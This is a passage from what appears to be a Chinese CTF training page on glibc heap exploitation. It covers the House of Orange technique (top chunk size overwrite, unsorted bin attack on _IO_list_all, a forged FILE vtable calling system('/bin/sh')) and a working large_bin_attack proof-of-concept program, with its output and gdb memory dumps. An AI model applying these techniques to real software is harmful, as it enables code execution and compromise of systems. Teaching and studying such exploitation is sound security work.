/*\n If not the first time through, we require old_size to be\n at least MINSIZE and to have prev_inuse set.\n */\n\n assert ((old_top == initial_top (av) && old_size == 0) ||\n ((unsigned long) (old_size) >= MINSIZE &&\n prev_inuse (old_top) &&\n ((unsigned long) old_end & (pagesize - 1)) == 0));\n\n /* Precondition: not enough current space to satisfy nb request */\n assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));\n
\u5373\u6ee1\u8db3 old_size \u5c0f\u4e8e nb+MINSIZE
\uff0cPREV_INUSE
\u6807\u5fd7\u4f4d\u4e3a 1\uff0cold_top+old_size
\u9875\u5bf9\u9f50\u8fd9\u51e0\u4e2a\u6761\u4ef6\u3002
\u9996\u5148\u5206\u914d\u4e00\u4e2a\u5927\u5c0f\u4e3a 0x400 \u7684 chunk\uff1a
gef\u27a4 x/4gx p1-0x10\n0x602000: 0x0000000000000000 0x0000000000000401 <-- chunk p1\n0x602010: 0x0000000000000000 0x0000000000000000\ngef\u27a4 x/4gx p1-0x10+0x400\n0x602400: 0x0000000000000000 0x0000000000020c01 <-- top chunk\n0x602410: 0x0000000000000000 0x0000000000000000\n
\u9ed8\u8ba4\u60c5\u51b5\u4e0b\uff0ctop chunk \u5927\u5c0f\u4e3a 0x21000\uff0c\u51cf\u53bb 0x400\uff0c\u6240\u4ee5\u6b64\u65f6\u7684\u5927\u5c0f\u4e3a 0x20c00\uff0c\u53e6\u5916 PREV_INUSE \u88ab\u8bbe\u7f6e\u3002
\u73b0\u5728\u5047\u8bbe\u5b58\u5728\u6ea2\u51fa\u6f0f\u6d1e\uff0c\u53ef\u4ee5\u4fee\u6539 top chunk \u7684\u6570\u636e\uff0c\u4e8e\u662f\u6211\u4eec\u5c06 size \u5b57\u6bb5\u4fee\u6539\u4e3a 0xc01\u3002\u8fd9\u6837\u5c31\u53ef\u4ee5\u6ee1\u8db3\u4e0a\u9762\u6240\u8bf4\u7684\u6761\u4ef6\uff1a
gef\u27a4 x/4gx p1-0x10+0x400\n0x602400: 0x0000000000000000 0x0000000000000c01 <-- top chunk\n0x602410: 0x0000000000000000 0x0000000000000000\n
\u7d27\u63a5\u7740\uff0c\u7533\u8bf7\u4e00\u5757\u5927\u5185\u5b58\uff0c\u6b64\u65f6\u7531\u4e8e\u4fee\u6539\u540e\u7684 top chunk size \u4e0d\u80fd\u6ee1\u8db3\u9700\u6c42\uff0c\u5219\u8c03\u7528 sysmalloc \u7684\u7b2c\u4e00\u79cd\u65b9\u6cd5\u6269\u5145 top chunk\uff0c\u7ed3\u679c\u662f\u5728 old_top \u540e\u9762\u65b0\u5efa\u4e86\u4e00\u4e2a top chunk \u7528\u6765\u5b58\u653e new_top\uff0c\u7136\u540e\u5c06 old_top \u91ca\u653e\uff0c\u5373\u88ab\u6dfb\u52a0\u5230\u4e86 unsorted bin \u4e2d\uff1a
gef\u27a4 x/4gx p1-0x10+0x400\n0x602400: 0x0000000000000000 0x0000000000000be1 <-- old top chunk [be freed]\n0x602410: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer\ngef\u27a4 x/4gx p1-0x10+0x400+0xbe0\n0x602fe0: 0x0000000000000be0 0x0000000000000010 <-- fencepost chunk 1\n0x602ff0: 0x0000000000000000 0x0000000000000011 <-- fencepost chunk 2\ngef\u27a4 x/4gx p2-0x10\n0x623000: 0x0000000000000000 0x0000000000001011 <-- chunk p2\n0x623010: 0x0000000000000000 0x0000000000000000\ngef\u27a4 x/4gx p2-0x10+0x1010\n0x624010: 0x0000000000000000 0x0000000000020ff1 <-- new top chunk\n0x624020: 0x0000000000000000 0x0000000000000000\ngef\u27a4 heap bins unsorted\n[ Unsorted Bin for arena 'main_arena' ]\n[+] unsorted_bins[0]: fw=0x602400, bk=0x602400\n \u2192 Chunk(addr=0x602410, size=0xbe0, flags=PREV_INUSE)\n
\u4e8e\u662f\u5c31\u6cc4\u6f0f\u51fa\u4e86 libc \u5730\u5740\u3002\u53e6\u5916\u53ef\u4ee5\u770b\u5230 old top chunk \u88ab\u7f29\u5c0f\u4e86 0x20\uff0c\u7f29\u5c0f\u7684\u7a7a\u95f4\u88ab\u7528\u4e8e\u653e\u7f6e fencepost chunk\u3002\u6b64\u65f6\u7684\u5806\u7a7a\u95f4\u5e94\u8be5\u662f\u8fd9\u6837\u7684\uff1a
+---------------+\n| p1 |\n+---------------+\n| old top-0x20 |\n+---------------+\n| fencepost 1 |\n+---------------+\n| fencepost 2 |\n+---------------+\n| ... |\n+---------------+\n| p2 |\n+---------------+\n| new top |\n+---------------+\n
\u8be6\u7ec6\u8fc7\u7a0b\u5982\u4e0b\uff1a
if (old_size != 0)\n {\n /*\n Shrink old_top to insert fenceposts, keeping size a\n multiple of MALLOC_ALIGNMENT. We know there is at least\n enough space in old_top to do this.\n */\n old_size = (old_size - 4 * SIZE_SZ) & ~MALLOC_ALIGN_MASK;\n set_head (old_top, old_size | PREV_INUSE);\n\n /*\n Note that the following assignments completely overwrite\n old_top when old_size was previously MINSIZE. This is\n intentional. We need the fencepost, even if old_top otherwise gets\n lost.\n */\n chunk_at_offset (old_top, old_size)->size =\n (2 * SIZE_SZ) | PREV_INUSE;\n\n chunk_at_offset (old_top, old_size + 2 * SIZE_SZ)->size =\n (2 * SIZE_SZ) | PREV_INUSE;\n\n /* If possible, release the rest. */\n if (old_size >= MINSIZE)\n {\n _int_free (av, old_top, 1);\n }\n }\n
\u6839\u636e\u653e\u5165 unsorted bin \u4e2d old top chunk \u7684 fd/bk \u6307\u9488\uff0c\u53ef\u4ee5\u63a8\u7b97\u51fa _IO_list_all
\u7684\u5730\u5740\u3002\u7136\u540e\u901a\u8fc7\u6ea2\u51fa\u5c06 old top \u7684 bk \u6539\u5199\u4e3a _IO_list_all-0x10
\uff0c\u8fd9\u6837\u5728\u8fdb\u884c unsorted bin attack \u65f6\uff0c\u5c31\u4f1a\u5c06 _IO_list_all
\u4fee\u6539\u4e3a &unsorted_bin-0x10
\uff1a
/* remove from unsorted list */\n unsorted_chunks (av)->bk = bck;\n bck->fd = unsorted_chunks (av);\ngef\u27a4 x/4gx p1-0x10+0x400\n0x602400: 0x0000000000000000 0x0000000000000be1\n0x602410: 0x00007ffff7dd1b78 0x00007ffff7dd2510\n
\u8fd9\u91cc\u8bb2\u4e00\u4e0b glibc \u4e2d\u7684\u5f02\u5e38\u5904\u7406\u3002\u4e00\u822c\u5728\u51fa\u73b0\u5185\u5b58\u9519\u8bef\u65f6\uff0c\u4f1a\u8c03\u7528\u51fd\u6570 malloc_printerr()
\u6253\u5370\u51fa\u9519\u4fe1\u606f\uff0c\u6211\u4eec\u987a\u7740\u4ee3\u7801\u4e00\u76f4\u8ddf\u8e2a\u4e0b\u53bb\uff1a
static void\nmalloc_printerr (int action, const char *str, void *ptr, mstate ar_ptr)\n{\n [...]\n if ((action & 5) == 5)\n __libc_message (action & 2, \"%s\\n\", str);\n else if (action & 1)\n {\n char buf[2 * sizeof (uintptr_t) + 1];\n\n buf[sizeof (buf) - 1] = '\\0';\n char *cp = _itoa_word ((uintptr_t) ptr, &buf[sizeof (buf) - 1], 16, 0);\n while (cp > buf)\n *--cp = '0';\n\n __libc_message (action & 2, \"*** Error in `%s': %s: 0x%s ***\\n\",\n __libc_argv[0] ? : \"<unknown>\", str, cp);\n }\n else if (action & 2)\n abort ();\n}\n
\u8c03\u7528 __libc_message
\uff1a
// sysdeps/posix/libc_fatal.c\n/* Abort with an error message. */\nvoid\n__libc_message (int do_abort, const char *fmt, ...)\n{\n [...]\n if (do_abort)\n {\n BEFORE_ABORT (do_abort, written, fd);\n\n /* Kill the application. */\n abort ();\n }\n}\n
do_abort
\u8c03\u7528 fflush
\uff0c\u5373 _IO_flush_all_lockp
\uff1a
// stdlib/abort.c\n#define fflush(s) _IO_flush_all_lockp (0)\n\n if (stage == 1)\n {\n ++stage;\n fflush (NULL);\n }\n// libio/genops.c\nint\n_IO_flush_all_lockp (int do_lock)\n{\n int result = 0;\n struct _IO_FILE *fp;\n int last_stamp;\n\n#ifdef _IO_MTSAFE_IO\n __libc_cleanup_region_start (do_lock, flush_cleanup, NULL);\n if (do_lock)\n _IO_lock_lock (list_all_lock);\n#endif\n\n last_stamp = _IO_list_all_stamp;\n fp = (_IO_FILE *) _IO_list_all; // \u5c06\u5176\u8986\u76d6\n while (fp != NULL)\n {\n run_fp = fp;\n if (do_lock)\n _IO_flockfile (fp);\n\n if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)\n#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T\n || (_IO_vtable_offset (fp) == 0\n && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr\n > fp->_wide_data->_IO_write_base))\n#endif\n )\n && _IO_OVERFLOW (fp, EOF) == EOF) // \u5c06\u5176\u4fee\u6539\u4e3a system \u51fd\u6570\n result = EOF;\n\n if (do_lock)\n _IO_funlockfile (fp);\n run_fp = NULL;\n\n if (last_stamp != _IO_list_all_stamp)\n {\n /* Something was added to the list. Start all over again. */\n fp = (_IO_FILE *) _IO_list_all;\n last_stamp = _IO_list_all_stamp;\n }\n else\n fp = fp->_chain; // \u6307\u5411\u6211\u4eec\u6307\u5b9a\u7684\u533a\u57df\n }\n\n#ifdef _IO_MTSAFE_IO\n if (do_lock)\n _IO_lock_unlock (list_all_lock);\n __libc_cleanup_region_end (0);\n#endif\n\n return result;\n}\n
_IO_list_all
\u662f\u4e00\u4e2a _IO_FILE_plus
\u7c7b\u578b\u7684\u5bf9\u8c61\uff0c\u6211\u4eec\u7684\u76ee\u7684\u5c31\u662f\u5c06 _IO_list_all
\u6307\u9488\u6539\u5199\u4e3a\u4e00\u4e2a\u4f2a\u9020\u7684\u6307\u9488\uff0c\u5b83\u7684 _IO_OVERFLOW
\u6307\u5411 system\uff0c\u5e76\u4e14\u524d 8 \u5b57\u8282\u88ab\u8bbe\u7f6e\u4e3a '/bin/sh'\uff0c\u6240\u4ee5\u5bf9 _IO_OVERFLOW(fp, EOF)
\u7684\u8c03\u7528\u6700\u7ec8\u4f1a\u53d8\u6210\u5bf9 system('/bin/sh')
\u7684\u8c03\u7528\u3002
// libio/libioP.h\n/* We always allocate an extra word following an _IO_FILE.\n This contains a pointer to the function jump table used.\n This is for compatibility with C++ streambuf; the word can\n be used to smash to a pointer to a virtual function table. */\n\nstruct _IO_FILE_plus\n{\n _IO_FILE file;\n const struct _IO_jump_t *vtable;\n};\n\n// libio/libio.h\nstruct _IO_FILE {\n int _flags; /* High-order word is _IO_MAGIC; rest is flags. */\n#define _IO_file_flags _flags\n\n /* The following pointers correspond to the C++ streambuf protocol. */\n /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */\n char* _IO_read_ptr; /* Current read pointer */\n char* _IO_read_end; /* End of get area. */\n char* _IO_read_base; /* Start of putback+get area. */\n char* _IO_write_base; /* Start of put area. */\n char* _IO_write_ptr; /* Current put pointer. */\n char* _IO_write_end; /* End of put area. */\n char* _IO_buf_base; /* Start of reserve area. */\n char* _IO_buf_end; /* End of reserve area. */\n /* The following fields are used to support backing up and undo. */\n char *_IO_save_base; /* Pointer to start of non-current get area. */\n char *_IO_backup_base; /* Pointer to first valid character of backup area */\n char *_IO_save_end; /* Pointer to end of non-current get area. */\n\n struct _IO_marker *_markers;\n\n struct _IO_FILE *_chain;\n\n int _fileno;\n#if 0\n int _blksize;\n#else\n int _flags2;\n#endif\n _IO_off_t _old_offset; /* This used to be _offset but it's too small. */\n\n#define __HAVE_COLUMN /* temporary */\n /* 1+column number of pbase(); 0 is unknown. */\n unsigned short _cur_column;\n signed char _vtable_offset;\n char _shortbuf[1];\n\n /* char* _save_gptr; char* _save_egptr; */\n\n _IO_lock_t *_lock;\n#ifdef _IO_USE_OLD_IO_FILE\n};\n
\u5176\u4e2d\u6709\u4e00\u4e2a\u6307\u5411\u51fd\u6570\u8df3\u8f6c\u8868\u7684\u6307\u9488\uff0c_IO_jump_t
\u7684\u7ed3\u6784\u5982\u4e0b\uff1a
// libio/libioP.h\nstruct _IO_jump_t\n{\n JUMP_FIELD(size_t, __dummy);\n JUMP_FIELD(size_t, __dummy2);\n JUMP_FIELD(_IO_finish_t, __finish);\n JUMP_FIELD(_IO_overflow_t, __overflow);\n JUMP_FIELD(_IO_underflow_t, __underflow);\n JUMP_FIELD(_IO_underflow_t, __uflow);\n JUMP_FIELD(_IO_pbackfail_t, __pbackfail);\n /* showmany */\n JUMP_FIELD(_IO_xsputn_t, __xsputn);\n JUMP_FIELD(_IO_xsgetn_t, __xsgetn);\n JUMP_FIELD(_IO_seekoff_t, __seekoff);\n JUMP_FIELD(_IO_seekpos_t, __seekpos);\n JUMP_FIELD(_IO_setbuf_t, __setbuf);\n JUMP_FIELD(_IO_sync_t, __sync);\n JUMP_FIELD(_IO_doallocate_t, __doallocate);\n JUMP_FIELD(_IO_read_t, __read);\n JUMP_FIELD(_IO_write_t, __write);\n JUMP_FIELD(_IO_seek_t, __seek);\n JUMP_FIELD(_IO_close_t, __close);\n JUMP_FIELD(_IO_stat_t, __stat);\n JUMP_FIELD(_IO_showmanyc_t, __showmanyc);\n JUMP_FIELD(_IO_imbue_t, __imbue);\n#if 0\n get_column;\n set_column;\n#endif\n};\n
\u4f2a\u9020 _IO_jump_t
\u4e2d\u7684 __overflow
\u4e3a system \u51fd\u6570\u7684\u5730\u5740\uff0c\u4ece\u800c\u8fbe\u5230\u6267\u884c shell \u7684\u76ee\u7684\u3002
\u5f53\u53d1\u751f\u5185\u5b58\u9519\u8bef\u8fdb\u5165 _IO_flush_all_lockp
\u540e\uff0c_IO_list_all
\u4ecd\u7136\u6307\u5411 unsorted bin\uff0c\u8fd9\u5e76\u4e0d\u662f\u4e00\u4e2a\u6211\u4eec\u80fd\u63a7\u5236\u7684\u5730\u5740\u3002\u6240\u4ee5\u9700\u8981\u901a\u8fc7 fp->_chain
\u6765\u5c06 fp \u6307\u5411\u6211\u4eec\u80fd\u63a7\u5236\u7684\u5730\u65b9\u3002\u6240\u4ee5\u5c06 size \u5b57\u6bb5\u8bbe\u7f6e\u4e3a 0x61\uff0c\u56e0\u4e3a\u6b64\u65f6 _IO_list_all
\u662f &unsorted_bin-0x10
\uff0c\u504f\u79fb 0x60 \u4f4d\u7f6e\u4e0a\u662f smallbins[5]\u3002\u6b64\u65f6\uff0c\u5982\u679c\u89e6\u53d1\u4e00\u4e2a\u4e0d\u9002\u5408\u7684 small chunk \u5206\u914d\uff0cmalloc \u5c31\u4f1a\u5c06 old top \u4ece unsorted bin \u653e\u56de smallbins[5] \u4e2d\u3002\u800c\u5728 _IO_FILE
\u7ed3\u6784\u4e2d\uff0c\u504f\u79fb 0x60 \u6307\u5411 struct _IO_marker *_markers
\uff0c\u504f\u79fb 0x68 \u6307\u5411 struct _IO_FILE *_chain
\uff0c\u8fd9\u4e24\u4e2a\u503c\u6b63\u597d\u662f old top \u7684\u8d77\u59cb\u5730\u5740\u3002\u8fd9\u6837 fp \u5c31\u6307\u5411\u4e86 old top\uff0c\u8fd9\u662f\u4e00\u4e2a\u6211\u4eec\u80fd\u591f\u63a7\u5236\u7684\u5730\u5740\u3002
\u5728\u5c06 _IO_OVERFLOW
\u4fee\u6539\u4e3a system \u7684\u65f6\u5019\uff0c\u6709\u4e00\u4e9b\u6761\u4ef6\u68c0\u67e5\uff1a
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)\n#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T\n || (_IO_vtable_offset (fp) == 0\n && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr\n > fp->_wide_data->_IO_write_base))\n#endif\n )\n && _IO_OVERFLOW (fp, EOF) == EOF) // \u9700\u8981\u4fee\u6539\u4e3a system \u51fd\u6570\n// libio/libio.h\n\n struct _IO_wide_data *_wide_data;\n\n/* Extra data for wide character streams. */\nstruct _IO_wide_data\n{\n wchar_t *_IO_read_ptr; /* Current read pointer */\n wchar_t *_IO_read_end; /* End of get area. */\n wchar_t *_IO_read_base; /* Start of putback+get area. */\n wchar_t *_IO_write_base; /* Start of put area. */\n wchar_t *_IO_write_ptr; /* Current put pointer. */\n wchar_t *_IO_write_end; /* End of put area. */\n wchar_t *_IO_buf_base; /* Start of reserve area. */\n wchar_t *_IO_buf_end; /* End of reserve area. */\n /* The following fields are used to support backing up and undo. */\n wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */\n wchar_t *_IO_backup_base; /* Pointer to first valid character of\n backup area */\n wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */\n\n __mbstate_t _IO_state;\n __mbstate_t _IO_last_state;\n struct _IO_codecvt _codecvt;\n\n wchar_t _shortbuf[1];\n\n const struct _IO_jump_t *_wide_vtable;\n};\n
\u6240\u4ee5\u8fd9\u91cc\u6211\u4eec\u8bbe\u7f6e fp->_mode = 0
\uff0cfp->_IO_write_base = (char *) 2
\u548c fp->_IO_write_ptr = (char *) 3
\uff0c\u4ece\u800c\u7ed5\u8fc7\u68c0\u67e5\u3002
\u7136\u540e\uff0c\u5c31\u662f\u4fee\u6539 _IO_jump_t
\uff0c\u5c06\u5176\u6307\u5411 winner\uff1a
gef\u27a4 x/30gx p1-0x10+0x400\n0x602400: 0x0068732f6e69622f 0x0000000000000061 <-- old top\n0x602410: 0x00007ffff7dd1b78 0x00007ffff7dd2510 <-- bk points to io_list_all-0x10\n0x602420: 0x0000000000000002 0x0000000000000003 <-- _IO_write_base, _IO_write_ptr\n0x602430: 0x0000000000000000 0x0000000000000000\n0x602440: 0x0000000000000000 0x0000000000000000\n0x602450: 0x0000000000000000 0x0000000000000000\n0x602460: 0x0000000000000000 0x0000000000000000\n0x602470: 0x0000000000000000 0x00000000004006d3 <-- winner\n0x602480: 0x0000000000000000 0x0000000000000000\n0x602490: 0x0000000000000000 0x0000000000000000\n0x6024a0: 0x0000000000000000 0x0000000000000000\n0x6024b0: 0x0000000000000000 0x0000000000000000\n0x6024c0: 0x0000000000000000 0x0000000000000000\n0x6024d0: 0x0000000000000000 0x0000000000602460 <-- vtable\n0x6024e0: 0x0000000000000000 0x0000000000000000\ngef\u27a4 p *((struct _IO_FILE_plus *) 0x602400)\n$1 = {\n file = {\n _flags = 0x6e69622f,\n _IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>,\n _IO_read_end = 0x7ffff7dd1b78 <main_arena+88> \"\\020@b\",\n _IO_read_base = 0x7ffff7dd2510 \"\",\n _IO_write_base = 0x2 <error: Cannot access memory at address 0x2>,\n _IO_write_ptr = 0x3 <error: Cannot access memory at address 0x3>,\n _IO_write_end = 0x0,\n _IO_buf_base = 0x0,\n _IO_buf_end = 0x0,\n _IO_save_base = 0x0,\n _IO_backup_base = 0x0,\n _IO_save_end = 0x0,\n _markers = 0x0,\n _chain = 0x0,\n _fileno = 0x0,\n _flags2 = 0x0,\n _old_offset = 0x4006d3,\n _cur_column = 0x0,\n _vtable_offset = 0x0,\n _shortbuf = \"\",\n _lock = 0x0,\n _offset = 0x0,\n _codecvt = 0x0,\n _wide_data = 0x0,\n _freeres_list = 0x0,\n _freeres_buf = 0x0,\n __pad5 = 0x0,\n _mode = 0x0,\n _unused2 = '\\000' <repeats 19 times>\n },\n vtable = 0x602460\n}\n
\u6700\u540e\u968f\u610f\u5206\u914d\u4e00\u4e2a chunk\uff0c\u7531\u4e8e size<= 2*SIZE_SZ
\uff0c\u6240\u4ee5\u4f1a\u89e6\u53d1 _IO_flush_all_lockp
\u4e2d\u7684 _IO_OVERFLOW
\u51fd\u6570\uff0c\u83b7\u5f97 shell\u3002
for (;; )\n {\n int iters = 0;\n while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))\n {\n bck = victim->bk;\n if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)\n || __builtin_expect (victim->size > av->system_mem, 0))\n malloc_printerr (check_action, \"malloc(): memory corruption\",\n chunk2mem (victim), av);\n size = chunksize (victim);\n
\u5230\u6b64\uff0chow2heap \u91cc\u5168\u90e8\u7684\u5806\u5229\u7528\u65b9\u6cd5\u5c31\u5168\u90e8\u8bb2\u5b8c\u4e86\u3002
"},{"location":"Training/Material/Binary%20Exploitation/#319-linux","title":"3.1.9 Linux \u5806\u5229\u7528\uff08\u56db\uff09","text":"\u4e0b\u8f7d\u6587\u4ef6
"},{"location":"Training/Material/Binary%20Exploitation/#how2heap_3","title":"how2heap","text":""},{"location":"Training/Material/Binary%20Exploitation/#large_bin_attack","title":"large_bin_attack","text":"#include<stdio.h>\n#include<stdlib.h>\n\nint main() {\n unsigned long stack_var1 = 0;\n unsigned long stack_var2 = 0;\n\n fprintf(stderr, \"The targets we want to rewrite on stack:\\n\");\n fprintf(stderr, \"stack_var1 (%p): %ld\\n\", &stack_var1, stack_var1);\n fprintf(stderr, \"stack_var2 (%p): %ld\\n\\n\", &stack_var2, stack_var2);\n\n unsigned long *p1 = malloc(0x100);\n fprintf(stderr, \"Now, we allocate the first chunk: %p\\n\", p1 - 2);\n malloc(0x10);\n\n unsigned long *p2 = malloc(0x400);\n fprintf(stderr, \"Then, we allocate the second chunk(large chunk): %p\\n\", p2 - 2);\n malloc(0x10);\n\n unsigned long *p3 = malloc(0x400);\n fprintf(stderr, \"Finally, we allocate the third chunk(large chunk): %p\\n\\n\", p3 - 2);\n malloc(0x10);\n\n // deal with tcache - libc-2.26\n // int *a[10], *b[10], i;\n // for (i = 0; i < 7; i++) {\n // a[i] = malloc(0x100);\n // b[i] = malloc(0x400);\n // }\n // for (i = 0; i < 7; i++) {\n // free(a[i]);\n // free(b[i]);\n // }\n\n free(p1);\n free(p2);\n fprintf(stderr, \"Now, We free the first and the second chunks now and they will be inserted in the unsorted bin\\n\");\n\n malloc(0x30);\n fprintf(stderr, \"Then, we allocate a chunk and the freed second chunk will be moved into large bin freelist\\n\\n\");\n\n p2[-1] = 0x3f1;\n p2[0] = 0;\n p2[2] = 0;\n p2[1] = (unsigned long)(&stack_var1 - 2);\n p2[3] = (unsigned long)(&stack_var2 - 4);\n fprintf(stderr, \"Now we use a vulnerability to overwrite the freed second chunk\\n\\n\");\n\n free(p3);\n malloc(0x30);\n fprintf(stderr, \"Finally, we free the third chunk and malloc again, targets should have already been rewritten:\\n\");\n fprintf(stderr, \"stack_var1 (%p): %p\\n\", &stack_var1, (void *)stack_var1);\n fprintf(stderr, \"stack_var2 (%p): %p\\n\", &stack_var2, (void *)stack_var2);\n}\n$ gcc -g large_bin_attack.c\n$ ./a.out \nThe targets we want to rewrite on stack:\nstack_var1 (0x7fffffffdeb0): 0\nstack_var2 (0x7fffffffdeb8): 0\n\nNow, we allocate the first chunk: 0x555555757000\nThen, we allocate the second chunk(large chunk): 0x555555757130\nFinally, we allocate the third chunk(large chunk): 0x555555757560\n\nNow, We free the first and the second chunks now and they will be inserted in the unsorted bin\nThen, we allocate a chunk and the freed second chunk will be moved into large bin freelist\n\nNow we use a vulnerability to overwrite the freed second chunk\n\nFinally, we free the third chunk and malloc again, targets should have already been rewritten:\nstack_var1 (0x7fffffffdeb0): 0x555555757560\nstack_var2 (0x7fffffffdeb8): 0x555555757560\n
\u8be5\u6280\u672f\u53ef\u7528\u4e8e\u4fee\u6539\u4efb\u610f\u5730\u5740\u7684\u503c\uff0c\u4f8b\u5982\u6808\u4e0a\u7684\u53d8\u91cf stack_var1 \u548c stack_var2\u3002\u5728\u5b9e\u8df5\u4e2d\u5e38\u5e38\u4f5c\u4e3a\u5176\u4ed6\u6f0f\u6d1e\u5229\u7528\u7684\u524d\u594f\uff0c\u4f8b\u5982\u5728 fastbin attack \u4e2d\u7528\u4e8e\u4fee\u6539\u5168\u5c40\u53d8\u91cf global_max_fast \u4e3a\u4e00\u4e2a\u5f88\u5927\u7684\u503c\u3002
\u9996\u5148\u6211\u4eec\u5206\u914d chunk p1, p2 \u548c p3\uff0c\u5e76\u4e14\u5728\u5b83\u4eec\u4e4b\u95f4\u63d2\u5165\u5176\u4ed6\u7684 chunk \u4ee5\u9632\u6b62\u5728\u91ca\u653e\u65f6\u88ab\u5408\u5e76\u3002\u6b64\u65f6\u7684\u5185\u5b58\u5e03\u5c40\u5982\u4e0b\uff1a
gef\u27a4 x/2gx &stack_var1 \n0x7fffffffde70: 0x0000000000000000 0x0000000000000000\ngef\u27a4 x/4gx p1-2\n0x555555757000: 0x0000000000000000 0x0000000000000111 <-- p1\n0x555555757010: 0x0000000000000000 0x0000000000000000\ngef\u27a4 x/8gx p2-6\n0x555555757110: 0x0000000000000000 0x0000000000000021\n0x555555757120: 0x0000000000000000 0x0000000000000000\n0x555555757130: 0x0000000000000000 0x0000000000000411 <-- p2\n0x555555757140: 0x0000000000000000 0x0000000000000000\ngef\u27a4 x/8gx p3-6\n0x555555757540: 0x0000000000000000 0x0000000000000021\n0x555555757550: 0x0000000000000000 0x0000000000000000\n0x555555757560: 0x0000000000000000 0x0000000000000411 <-- p3\n0x555555757570: 0x0000000000000000 0x0000000000000000\ngef\u27a4 x/8gx p3+(0x410/8)-2\n0x555555757970: 0x0000000000000000 0x0000000000000021\n0x555555757980: 0x0000000000000000 0x0000000000000000\n0x555555757990: 0x0000000000000000 0x0000000000020671 <-- top\n0x5555557579a0: 0x0000000000000000 0x0000000000000000\n
\u7136\u540e\u4f9d\u6b21\u91ca\u653e\u6389 p1 \u548c p2\uff0c\u8fd9\u4e24\u4e2a free chunk \u5c06\u88ab\u653e\u5165 unsorted bin\uff1a
gef\u27a4 x/8gx p1-2\n0x555555757000: 0x0000000000000000 0x0000000000000111 <-- p1 [be freed]\n0x555555757010: 0x00007ffff7dd3b78 0x0000555555757130\n0x555555757020: 0x0000000000000000 0x0000000000000000\n0x555555757030: 0x0000000000000000 0x0000000000000000\ngef\u27a4 x/8gx p2-2\n0x555555757130: 0x0000000000000000 0x0000000000000411 <-- p2 [be freed]\n0x555555757140: 0x0000555555757000 0x00007ffff7dd3b78\n0x555555757150: 0x0000000000000000 0x0000000000000000\n0x555555757160: 0x0000000000000000 0x0000000000000000\ngef\u27a4 heap bins unsorted\n[ Unsorted Bin for arena 'main_arena' ]\n[+] unsorted_bins[0]: fw=0x555555757130, bk=0x555555757000\n \u2192 Chunk(addr=0x555555757140, size=0x410, flags=PREV_INUSE) \u2192 Chunk(addr=0x555555757010, size=0x110, flags=PREV_INUSE)\n[+] Found 2 chunks in unsorted bin.\n
\u63a5\u4e0b\u6765\u968f\u4fbf malloc \u4e00\u4e2a chunk\uff0c\u5219 p1 \u88ab\u5207\u5206\u4e3a\u4e24\u5757\uff0c\u4e00\u5757\u4f5c\u4e3a\u5206\u914d\u7684 chunk \u8fd4\u56de\uff0c\u5269\u4e0b\u7684\u4e00\u5757\u7ee7\u7eed\u7559\u5728 unsorted bin\uff08p1 \u7684\u4f5c\u7528\u5c31\u5728\u8fd9\u91cc\uff0c\u5982\u679c\u6ca1\u6709 p1\uff0c\u90a3\u4e48\u5207\u5206\u7684\u5c06\u662f p2\uff09\u3002\u800c p2 \u5219\u88ab\u6574\u7406\u56de\u5bf9\u5e94\u7684 large bin \u94fe\u8868\b\u4e2d\uff1a
gef\u27a4 x/14gx p1-2\n0x555555757000: 0x0000000000000000 0x0000000000000041 <-- p1-1\n0x555555757010: 0x00007ffff7dd3c78 0x00007ffff7dd3c78\n0x555555757020: 0x0000000000000000 0x0000000000000000\n0x555555757030: 0x0000000000000000 0x0000000000000000\n0x555555757040: 0x0000000000000000 0x00000000000000d1 <-- p1-2 [be freed]\n0x555555757050: 0x00007ffff7dd3b78 0x00007ffff7dd3b78 <-- fd, bk\n0x555555757060: 0x0000000000000000 0x0000000000000000\ngef\u27a4 x/8gx p2-2\n0x555555757130: 0x0000000000000000 0x0000000000000411 <-- p2 [be freed]\n0x555555757140: 0x00007ffff7dd3f68 0x00007ffff7dd3f68 <-- fd, bk\n0x555555757150: 0x0000555555757130 0x0000555555757130 <-- fd_nextsize, bk_nextsize\n0x555555757160: 0x0000000000000000 0x0000000000000000\ngef\u27a4 heap bins unsorted\n[ Unsorted Bin for arena 'main_arena' ]\n[+] unsorted_bins[0]: fw=0x555555757040, bk=0x555555757040\n \u2192 Chunk(addr=0x555555757050, size=0xd0, flags=PREV_INUSE)\n[+] Found 1 chunks in unsorted bin.\ngef\u27a4 heap bins large\n[ Large Bins for arena 'main_arena' ]\n[+] large_bins[63]: fw=0x555555757130, bk=0x555555757130\n \u2192 Chunk(addr=0x555555757140, size=0x410, flags=PREV_INUSE)\n[+] Found 1 chunks in 1 large non-empty bins.\n
\u6574\u7406\u7684\u8fc7\u7a0b\u5982\u4e0b\u6240\u793a\uff0c\u9700\u8981\u6ce8\u610f\u7684\u662f large bins \u4e2d chunk \u6309 fd \u6307\u9488\u7684\u987a\u5e8f\u4ece\u5927\u5230\u5c0f\u6392\u5217\uff0c\u5982\u679c\u5927\u5c0f\u76f8\u540c\u5219\u6309\u7167\u6700\u8fd1\u4f7f\u7528\u987a\u5e8f\u6392\u5217\uff1a
